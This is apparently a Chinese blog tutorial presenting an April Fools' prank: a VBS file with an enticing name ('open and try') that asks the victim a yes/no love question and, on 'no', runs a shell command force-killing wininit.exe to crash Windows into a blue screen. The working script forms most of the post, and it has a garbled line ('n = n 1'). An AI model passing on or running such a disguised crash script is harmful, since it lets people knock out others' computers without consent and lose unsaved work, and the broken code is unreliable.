計算機藍屏簡稱BSOD，又叫藍屏死機。藍屏死機提示已經成為Microsoft Windows操作系統标志性的畫面。藍屏死機主要是Microsoft Windows 系列操作系統為保護電腦數據文件不被破壞而強制顯示的屏幕圖像。

愚人節即将來臨，有許多人絞盡腦汁想各種整人辦法。雖然電影《整蠱專家》裡面有許多奇葩的惡作劇方法，但是電影源于現實又高于現實，裡面有些方法學不來。近期使用計算機學習的小夥伴比較多，今天就用代碼制作一個計算機藍屏。

第一步：右鍵單擊桌面空白位置，新建一個文本文檔，并将“新建文本文檔.txt”重命名為“打開試試.VBS”。

VBS是基于Visual Basic的腳本語言，我們使用vbs代碼實現惡作劇，所以需要将文件後綴名改為“*.vbs”。文件名可以改的吸引人一些，好奇心害死貓。

第二步：右鍵單擊“打開試試.vbs”，選中右鍵菜單中的編輯，打開記事本編輯窗口。将以下代碼複制粘貼到記事本中，同時按下鍵盤上的Ctrl S鍵保存編輯。

如果想修改提示語句的話，将引号中的中文修改成自己想要的内容即可。

代碼區域：

If MsgBox("你願意做我的女朋友嗎？",vbYesNo,"提示")=vbyes then

Msgbox "你竟然同意了，好開心！"

Wscript.echo Printer(" ","*","113111111112212111313111513",7)

Function Printer(a1,a2,b,c)

For i = 1 to len(b)

b1 = Mid(b,i,1)

For j = 1 to b1

s = s & "　" & a1

n = n 1

if n = c then

s= s & chr(10)

n = 0

End if

Next

a3 = a1

a1 = a2

a2 = a3

Next

Printer=s

End function

Set ws = CreateObject("Sapi.Spvoice")

k = "我愛你"

ws.speak k

Else

Msgbox "被拒絕了，真的好傷心！"

Msgbox "由于程序太過傷心，系統即将崩潰！！！",64,"系統提示："

Set ws = Createobject("wscript.shell")

ws.run "cmd /c start /min taskkill /f /im wininit.exe",0,false

End if

VBS程序介紹：程序起始給對方一個選擇題，如果對方選擇“是”，那麼就相安無事，并有文字組合圖片和語音表白“我愛你”提示。如果對方選擇“否”，将會有提示語句，接着計算機進入藍屏。

解決藍屏的辦法隻能重啟計算機。請勿亂用這個vbs代碼，以免給他人造成損失。

一旦程序運行該怎麼終止呢？千萬不要嘗試關閉窗口來結束程序。

同時按下鍵盤上的Shift Ctrl Delete，啟動任務管理器。在任務管理器的進程中找到并選中“wscript.exe”，點擊結束進程就沒事了。

如果喜歡請點擊關注和轉發，有更多計算機小技巧等着你來發現。